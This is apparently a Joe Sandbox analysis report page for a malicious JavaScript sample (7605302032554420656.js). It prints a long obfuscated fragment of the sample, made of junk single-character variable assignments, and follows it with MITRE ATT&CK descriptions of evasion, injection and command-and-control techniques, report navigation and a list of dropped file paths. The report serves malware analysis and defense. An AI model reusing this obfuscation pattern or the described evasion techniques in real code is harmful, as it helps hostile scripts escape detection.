744	aslruowg = "H";
745	aslruowg = "T";
746	smuajgxu = "M";
747	smuajgxu = "K";
748	smuajgxu = "j";
749	smuajgxu = "z";
750	smuajgxu = "m";
751	smuajgxu = "z";
752	smuajgxu = "W";
753	smuajgxu = "B";
754	smuajgxu = "n";
755	smuajgxu = "F";
756	smuajgxu = "h";
757	smuajgxu = "v";
758	smuajgxu = "I";
759	smuajgxu = "p";
760	smuajgxu = "Q";
761	smuajgxu = "m";
762	smuajgxu = "y";
763	smuajgxu = "T";
764	smuajgxu = "E";
765	smuajgxu = "w";
766	smuajgxu = "K";
767	smuajgxu = "r";
768	smuajgxu = "r";
769	mkxnioh = "K";
770	mkxnioh = "g";
771	mkxnioh = "i";
772	mkxnioh = "k";
773	mkxnioh = "p";
774	mkxnioh = "R";
775	mkxnioh = "F";
776	mkxnioh = "B";
777	mkxnioh = "h";
778	mkxnioh = "P";
779	mkxnioh = "l";
780	mkxnioh = "T";
781	mkxnioh = "J";
782	mkxnioh = "Z";
783	mkxnioh = "h";
784	mkxnioh = "f";
785	mkxnioh = "i";
786	mkxnioh = "j";
787	mkxnioh = "R";
788	mkxnioh = "V";
789	mkxnioh = "Y";
790	mkxnioh = "N";
791	mkxnioh = "U";
792	mkxnioh = "u";
793	mkxnioh = "n";
794	mkxnioh = "c";
795	mkxnioh = "l";
796	mkxnioh = "Z";
797	mkxnioh = "h";
798	mkxnioh = "L";
799	mkxnioh = "S";
800	mkxnioh = "g";
801	mkxnioh = "X";
802	mkxnioh = "x";
803	mkxnioh = "G";
804	mkxnioh = "I";
805	mkxnioh = "L";
806	mkxnioh = "L";
807	mkxnioh = "c";
808	mkxnioh = "f";
809	mkxnioh = "q";
810	mkxnioh = "D";
811	mkxnioh = "o";
812	mkxnioh = "m";
813	mkxnioh = "C";
814	dsjersvh = "V";
815	dsjersvh = "t";
816	dsjersvh = "k";
817	dsjersvh = "i";
818	dsjersvh = "R";
819	dsjersvh = "a";
820	dsjersvh = "F";
821	dsjersvh = "e";
822	dsjersvh = "n";
823	dsjersvh = "g";
824	dsjersvh = "Z";
825	dsjersvh = "R";
826	dsjersvh = "J";
827	dsjersvh = "L";
828	dsjersvh = "U";
829	dsjersvh = "D";
830	dsjersvh = "B";
831	dsjersvh = "S";
832	dsjersvh = "u";
833	dsjersvh = "y";
834	dsjersvh = "i";
835	dsjersvh = "G";
836	dsjersvh = "W";
837	dsjersvh = "B";
838	dsjersvh = "u";
839	dsjersvh = "X";
840	dsjersvh = "V";
841	dsjersvh = "C";
842	dsjersvh = "A";
843	dsjersvh = "x";
844	dsjersvh = "t";
845	dsjersvh = "Q";
846	dsjersvh = "E";
847	dsjersvh = "X";
848	dsjersvh = "L";
849	dsjersvh = "n";
850	dsjersvh = "v";
851	dsjersvh = "i";
852	bqyqanrmn = "y";
853	bqyqanrmn = "B";
854	bqyqanrmn = "l";
855	bqyqanrmn = "H";
856	bqyqanrmn = "b";
857	bqyqanrmn = "b";
858	bqyqanrmn = "C";
859	bqyqanrmn = "S";
860	bqyqanrmn = "a";
861	bqyqanrmn = "P";
862	bqyqanrmn = "C";
863	bqyqanrmn = "Q";
864	bqyqanrmn = "D";
865	bqyqanrmn = "f";
866	bqyqanrmn = "j";
867	bqyqanrmn = "v";
868	bqyqanrmn = "F";
869	bqyqanrmn = "W";
870	bqyqanrmn = "I";
871	bqyqanrmn = "B";
872	bqyqanrmn = "C";
873	bqyqanrmn = "1";
874	vhfdsef = "P";
875	vhfdsef = "X";
876	vhfdsef = "y";
877	vhfdsef = "C";
878	vhfdsef = "w";
879	vhfdsef = "r";
880	vhfdsef = "x";
881	vhfdsef = "l";
882	vhfdsef = "V";
883	vhfdsef = "M";
884	vhfdsef = "i";
885	vhfdsef = "Q";
886	vhfdsef = "k";
887	vhfdsef = "s";
888	vhfdsef = "U";
889	vhfdsef = "J";
890	vhfdsef = "K";
891	vhfdsef = "G";
892	vhfdsef = "l";
893	vhfdsef = "j";
894	vhfdsef = "F";
895	vhfdsef = "k";
896	vhfdsef = "l";
897	vhfdsef = "K";
898	vhfdsef = "I";
899	vhfdsef = "j";
900	vhfdsef = "M";
901	vhfdsef = "A";
902	vhfdsef = "K";
903	vhfdsef = "g";
904	vhfdsef = "C";
905	vhfdsef = "U";
906	vhfdsef = "b";
907	vhfdsef = "x";
908	vhfdsef = "f";
909	vhfdsef = "C";
910	vhfdsef = "p";
911	vhfdsef = "Q";
912	vhfdsef = "F";
913	vhfdsef = "C";
914	vhfdsef = "U";
915	vhfdsef = "h";
916	vhfdsef = "I";
917	vhfdsef = "O";
918	kksjo = "I";
919	kksjo = "m";
920	kksjo = "u";
921	kksjo = "M";
922	kksjo = "g";
923	kksjo = "g";
924	kksjo = "P";
925	kksjo = "h";
926	kksjo = "p";
927	kksjo = "x";
928	kksjo = "E";
929	kksjo = "a";
930	kksjo = "C";
931	kksjo = "l";
932	kksjo = "B";
933	kksjo = "z";
934	kksjo = "x";
935	kksjo = "Y";
936	kksjo = "m";
937	kksjo = "z";
938	kksjo = "a";
939	kksjo = "D";
940	kksjo = "a";
941	kksjo = "u";
942	kksjo = "A";
943	kksjo = "f";
944	kksjo = "V";
945	kksjo = "s";
946	kksjo = "S";
947	kksjo = "v";
948	kksjo = "C";
949	kksjo = "j";
950	kksjo = "H";
951	kksjo = "q";
952	kksjo = "m";
953	kksjo = "n";
954	kksjo = "I";
955	kksjo = "u";
956	kksjo = "W";
957	kksjo = "G";
958	kksjo = "A";
959	kksjo = "f";
960	kksjo = "u";
961	kksjo = "&";
962	kqfii = "F";
963	kqfii = "t";
964	kqfii = "p";
965	kqfii = "s";
966	kqfii = "V";
967	kqfii = "d";
968	cpcbbq = "o";
969	cpcbbq = "H";
970	cpcbbq = "Z";
971	cpcbbq = "o";
972	cpcbbq = "q";
973	cpcbbq = "U";
974	cpcbbq = "Z";
975	cpcbbq = "U";
976	cpcbbq = "S";
977	cpcbbq = "w";
978	cpcbbq = "T";
979	cpcbbq = "o";
980	cpcbbq = "y";
981	cpcbbq = "S";
982	cpcbbq = "l";
983	cpcbbq = "J";
984	cpcbbq = "P";
985	cpcbbq = "h";
986	cpcbbq = "e";
987	cpcbbq = "b";
988	cpcbbq = "f";
989	cpcbbq = "m";
990	cpcbbq = "k";
991	cpcbbq = "v";
992	cpcbbq = "I";
993	cpcbbq = "M";
994	cpcbbq = "Y";
995	cpcbbq = "C";
996	cpcbbq = "a";
997	cpcbbq = "h";
998	cpcbbq = "l";
999	cpcbbq = "u";
1000	cpcbbq = "g";
1001	scryiied = "c";
1002	scryiied = "E";
1003	scryiied = "j";
1004	scryiied = "t";
1005	scryiied = "R";
1006	scryiied = "k";
1007	scryiied = "q";
1008	scryiied = "C";
1009	scryiied = "N";
1010	scryiied = "j";
1011	scryiied = "z";
1012	scryiied = "z";
1013	scryiied = "B";
1014	scryiied = "O";
1015	scryiied = "d";
1016	scryiied = "m";
1017	scryiied = "r";
1018	scryiied = "q";
1019	scryiied = "X";
1020	scryiied = "j";
1021	scryiied = "K";
1022	jsnynqmo = "T";
1023	jsnynqmo = "W";
1024	jsnynqmo = "s";
1025	jsnynqmo = "Q";
1026	jsnynqmo = "V";
1027	jsnynqmo = "s";
1028	jsnynqmo = "W";
1029	jsnynqmo = "s";
1030	jsnynqmo = "P";
1031	jsnynqmo = "i";
1032	jsnynqmo = "g";
1033	jsnynqmo = "M";
1034	jsnynqmo = "K";
1035	jsnynqmo = "d";
1036	jsnynqmo = "G";
1037	jsnynqmo = "w";
1038	jsnynqmo = "K";
1039	jsnynqmo = "b";
1040	jsnynqmo = "P";
1041	jsnynqmo = "K";
1042	jsnynqmo = "M";
1043	jsnynqmo = "O";
1044	jsnynqmo = "H";
1045	hkvptfhc = "S";
1046	hkvptfhc = "z";
1047	hkvptfhc = "Z";
1048	hkvptfhc = "I";
1049	hkvptfhc = "a";
1050	hkvptfhc = "c";
1051	hkvptfhc = "d";
1052	hkvptfhc = "r";
1053	hkvptfhc = "F";
1054	hkvptfhc = "f";
1055	hkvptfhc = "o";
1056	hkvptfhc = "J";
1057	hkvptfhc = "W";
1058	hkvptfhc = "c";
1059	hkvptfhc = "k";
1060	hkvptfhc = "o";
1061	hkvptfhc = "l";
1062	hkvptfhc = "B";
1063	hkvptfhc = "X";
1064	hkvptfhc = "X";
1065	hkvptfhc = "R";
1066	hkvptfhc = "X";
1067	hkvptfhc = "o";
1068	gnbhxcu = "V";
1069	gnbhxcu = "H";
1070	gnbhxcu = "m";
1071	gnbhxcu = "k";
1072	gnbhxcu = "X";
1073	gnbhxcu = "r";
1074	gnbhxcu = "u";
1075	gnbhxcu = "d";
1076	gnbhxcu = "T";
1077	gnbhxcu = "O";
1078	gnbhxcu = "L";
1079	gnbhxcu = "K";
1080	gnbhxcu = "Q";
1081	gnbhxcu = "h";
1082	gnbhxcu = "g";
1083	gnbhxcu = "P";
1084	gnbhxcu = "y";
1085	gnbhxcu = "D";
1086	gnbhxcu = "q";
1087	gnbhxcu = "k";
1088	gnbhxcu = "J";
1089	gnbhxcu = "b";
1090	gnbhxcu = "U";
1091	gnbhxcu = "@";
1092	ujbqy = "d";
1093	ujbqy = "u";
1094	ujbqy = "s";
1095	ujbqy = "z";
1096	ujbqy = "p";
1097	ujbqy = "A";
1098	ujbqy = "e";
1099	ujbqy = "i";
1100	ujbqy = "o";
1101	ujbqy = "q";
1102	ujbqy = "X";
1103	ujbqy = "w";
1104	ujbqy = "E";
1105	ujbqy = "m";
1106	ujbqy = "L";
1107	ujbqy = "k";
1108	ujbqy = "A";
1109	ujbqy = "T";
1110	ujbqy = "b";
1111	ujbqy = "x";
1112	ujbqy = "h";
1113	ujbqy = "i";
1114	ujbqy = "C";
1115	ujbqy = "U";
1116	ujbqy = "E";
1117	ujbqy = "m";
1118	ujbqy = "L";
1119	rikigaq = "q";
1120	rikigaq = "M";
1121	rikigaq = "T";
1122	rikigaq = "Z";
1123	rikigaq = "T";
1124	rikigaq = "H";
1125	rikigaq = "t";
1126	rikigaq = "g";
1127	rikigaq = "i";
1128	rikigaq = "r";
1129	rikigaq = "o";
1130	rikigaq = "A";
1131	rikigaq = "I";
1132	rikigaq = "S";
1133	rikigaq = "u";
1134	rikigaq = "B";
1135	rikigaq = "A";
1136	rikigaq = "U";
1137	gyqsj = "k";
1138	gyqsj = "B";
1139	gyqsj = "t";
1140	gyqsj = "x";
1141	gyqsj = "f";
1142	gyqsj = "U";
1143	gyqsj = "i";
1144	gyqsj = "o";
1145	gyqsj = "S";
1146	gyqsj = "C";
1147	gyqsj = "x";
1148	gyqsj = "H";
1149	gyqsj = "m";
1150	gyqsj = "G";
1151	gyqsj = "f";
1152	gyqsj = "q";
1153	gyqsj = "c";
1154	gyqsj = "W";
1155	gyqsj = "n";
1156	gyqsj = "p";
1157	gyqsj = "E";
1158	gyqsj = "Y";
1159	gyqsj = "x";
1160	gyqsj = "b";
1161	gyqsj = "m";
1162	gyqsj = "F";
1163	gyqsj = "f";
1164	gyqsj = "c";
1165	ftuke = "H";
1166	ftuke = "c";
1167	ftuke = "d";
1168	ftuke = "u";
1169	ftuke = "v";
1170	ftuke = "K";
1171	ftuke = "Q";
1172	ftuke = "n";
1173	ftuke = "I";
1174	ftuke = "t";
1175	ftuke = "H";
1176	ftuke = "W";
1177	ftuke = "e";
1178	ftuke = "H";
1179	ftuke = "c";
1180	ftuke = "q";
1181	ftuke = "u";
1182	ftuke = "o";
1183	ftuke = "G";
1184	ftuke = "L";
1185	ftuke = "a";
1186	ftuke = "b";
1187	ftuke = "a";
1188	ftuke = "k";
1189	yppwu = "e";
1190	yppwu = "a";
1191	gnaxyam = "M";
1192	gnaxyam = "V";
1193	gnaxyam = "D";
1194	gnaxyam = "i";
1195	gnaxyam = "k";
1196	gnaxyam = "k";
1197	gnaxyam = "y";
1198	gnaxyam = "f";
1199	gnaxyam = "a";
1200	gnaxyam = "O";
1201	gnaxyam = "t";
1202	gnaxyam = "C";
1203	gnaxyam = "a";
1204	gnaxyam = "q";
1205	gnaxyam = "k";
1206	gnaxyam = "K";
1207	gnaxyam = "C";
1208	gnaxyam = "x";
1209	gnaxyam = "g";
1210	gnaxyam = "I";
1211	gnaxyam = "s";
1212	gnaxyam = "B";
1213	gnaxyam = "j";
1214	gnaxyam = "j";
1215	gnaxyam = "y";
1216	gnaxyam = "x";
1217	gnaxyam = "k";
1218	gnaxyam = "I";
1219	gnaxyam = "Y";
1220	gnaxyam = "l";
1221	gnaxyam = "p";
1222	gnaxyam = "n";
1223	gnaxyam = "T";
1224	gnaxyam = "v";
1225	gnaxyam = "n";
1226	gnaxyam = "T";
1227	gnaxyam = "X";
1228	gnaxyam = "P";
1229	ytalhcnso = "U";
1230	ytalhcnso = "Y";
1231	ytalhcnso = "Q";
1232	ytalhcnso = "x";
1233	ytalhcnso = "s";
1234	ytalhcnso = "\\";
1235	psmxc = "P";
1236	psmxc = "S";
1237	psmxc = "l";
1238	psmxc = "v";
1239	psmxc = "g";
1240	psmxc = "E";
1241	psmxc = "M";
1242	psmxc = "J";
1243	psmxc = "K";
1244	psmxc = "w";
1245	psmxc = "Q";
1246	psmxc = "u";
1247	psmxc = "E";
1248	psmxc = "W";
1249	psmxc = "m";
1250	psmxc = "h";
1251	lgnyhme = "%";
1252	moenekw = "r";
1253	moenekw = "D";
1254	moenekw = "c";
1255	moenekw = "L";
1256	moenekw = "q";
1257	moenekw = "w";
1258	moenekw = "m";
1259	moenekw = "E";
1260	moenekw = "b";
1261	moenekw = "q";
1262	moenekw = "b";
1263	moenekw = "n";
1264	moenekw = "r";
1265	moenekw = "D";
1266	moenekw = "a";
1267	moenekw = "h";
1268	moenekw = "U";
1269	moenekw = "s";
1270	moenekw = "Z";
1271	moenekw = "B";
1272	moenekw = "H";
1273	moenekw = "x";
1274	moenekw = "Z";
1275	moenekw = "e";
1276	moenekw = "o";
1277	moenekw = "R";
1278	moenekw = "X";
1279	moenekw = "L";
1280	moenekw = "y";
1281	moenekw = "R";
1282	moenekw = "a";
1283	moenekw = "d";
1284	moenekw = "N";
1285	moenekw = "G";
1286	moenekw = "r";
1287	moenekw = "G";
1288	moenekw = "f";
1289	moenekw = "H";
1290	moenekw = "d";
1291	moenekw = "G";
1292	moenekw = "F";
1293	moenekw = "V";
1294	moenekw = "R";
1295	moenekw = "I";
1296	gwrcue = "n";
1297	gwrcue = "W";
1298	gwrcue = "O";
1299	gwrcue = "A";
1300	gwrcue = "I";
1301	gwrcue = "t";
1302	gwrcue = "X";
1303	gwrcue = "v";
1304	gwrcue = "w";
1305	gwrcue = "X";
1306	gwrcue = "y";
1307	gwrcue = "j";
1308	gwrcue = "y";
1309	gwrcue = "A";
1310	gwrcue = "Y";
1311	gwrcue = "D";
1312	gwrcue = "T";
1313	gwrcue = "I";
1314	gwrcue = "v";
1315	gwrcue = "c";
1316	gwrcue = "M";
1317	gwrcue = "p";
1318	gwrcue = "S";
1319	gwrcue = "z";
1320	gwrcue = "N";
1321	gwrcue = "m";
1322	gwrcue = "v";
1323	gwrcue = "t";
1324	gwrcue = "u";
1325	gwrcue = "L";
1326	gwrcue = "m";
1327	gwrcue = "e";
1328	gwrcue = "V";
1329	gwrcue = "X";
1330	gwrcue = "G";
1331	gwrcue = "0";
1332	tzargra = "c";
1333	tzargra = "m";
1334	tzargra = "n";
1335	tzargra = "P";
1336	tzargra = "y";
1337	tzargra = "O";
1338	tzargra = "y";
1339	tzargra = "R";
1340	tzargra = "B";
1341	tzargra = "A";
1342	tzargra = "H";
1343	tzargra = "a";
1344	tzargra = "v";
1345	tzargra = "P";
1346	tzargra = "D";
1347	tzargra = "J";
1348	tzargra = "E";
1349	tzargra = "N";
1350	tzargra = "p";
1351	tzargra = "L";
1352	tzargra = "q";
1353	tzargra = "R";
1354	tzargra = "w";
1355	tzargra = "S";
1356	tzargra = "K";
1357	tzargra = "N";
1358	tzargra = "P";
1359	tzargra = "M";
1360	tzargra = "B";
1361	tzargra = "y";
1362	tzargra = "r";
1363	tzargra = "F";
1364	tzargra = "f";
1365	tzargra = "E";
1366	tzargra = "Q";
1367	tzargra = "z";
1368	tzargra = "s";
1369	tzargra = "t";
1370	hysjg = "t";
1371	hysjg = "Z";
1372	hysjg = "t";
1373	hysjg = "f";
1374	hysjg = "q";
1375	hysjg = "L";
1376	hysjg = "U";
1377	hysjg = "x";
1378	hysjg = "m";
1379	hysjg = "Z";
1380	hysjg = "e";
1381	hysjg = "Z";
1382	hysjg = "p";
1383	hysjg = "Z";
1384	hysjg = "v";
1385	hysjg = "R";
1386	hysjg = "A";
1387	hysjg = "J";
1388	hysjg = "f";
1389	hysjg = " ";
1390	ofbdiusrc = "e";
1391	ofbdiusrc = "w";
1392	ofbdiusrc = "N";
1393	ofbdiusrc = "U";
1394	ofbdiusrc = "W";
1395	ofbdiusrc = "u";
1396	ofbdiusrc = "u";
1397	ofbdiusrc = "N";
1398	ofbdiusrc = "d";
1399	ofbdiusrc = "y";
1400	ofbdiusrc = "I";
1401	ofbdiusrc = "a";
1402	ofbdiusrc = "j";
1403	ofbdiusrc = "z";
1404	ofbdiusrc = "o";
1405	ofbdiusrc = "D";
1406	ofbdiusrc = "G";
1407	ofbdiusrc = "E";
1408	ofbdiusrc = "X";
1409	ofbdiusrc = "z";
1410	ofbdiusrc = "r";
1411	ofbdiusrc = "m";
1412	ofbdiusrc = "w";
1413	ofbdiusrc = "f";
1414	ofbdiusrc = "Q";
1415	qpkmlnf = "8";
1416	cgzqz = "d";
1417	cgzqz = "K";
1418	cgzqz = "J";
1419	cgzqz = "r";
1420	cgzqz = "A";
1421	cgzqz = "W";
1422	cgzqz = "Z";
1423	cgzqz = "i";
1424	cgzqz = "z";
1425	cgzqz = "j";
1426	cgzqz = "G";
1427	cgzqz = "W";
1428	cgzqz = "n";
1429	cgzqz = "i";
1430	cgzqz = "z";
1431	cgzqz = "d";
1432	cgzqz = "w";
1433	tcjes = "j";
1434	tcjes = "t";
1435	tcjes = "t";
1436	tcjes = "G";
1437	tcjes = "B";
1438	tcjes = "z";
1439	tcjes = "G";
1440	tcjes = "q";
1441	tcjes = "W";
1442	tcjes = "b";
1443	tcjes = "n";
1444	tcjes = "k";
1445	tcjes = "A";
1446	tcjes = "C";
1447	tcjes = "v";
1448	tcjes = "T";
1449	tcjes = "w";
1450	tcjes = "l";
1451	tcjes = "E";
1452	tcjes = "K";
1453	tcjes = "z";
1454	tcjes = "N";
1455	tcjes = "a";
1456	tcjes = "r";
1457	tcjes = "p";
1458	tcjes = "E";
1459	tcjes = "A";
1460	tcjes = "D";
1461	tcjes = "A";
1462	tcjes = "I";
1463	tcjes = "V";
1464	tcjes = "P";
1465	tcjes = "q";
1466	ybegd ( );	ybegd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7605302032554420656.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\091b49b0-4920-41c4-87a3-55a728e336ce.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

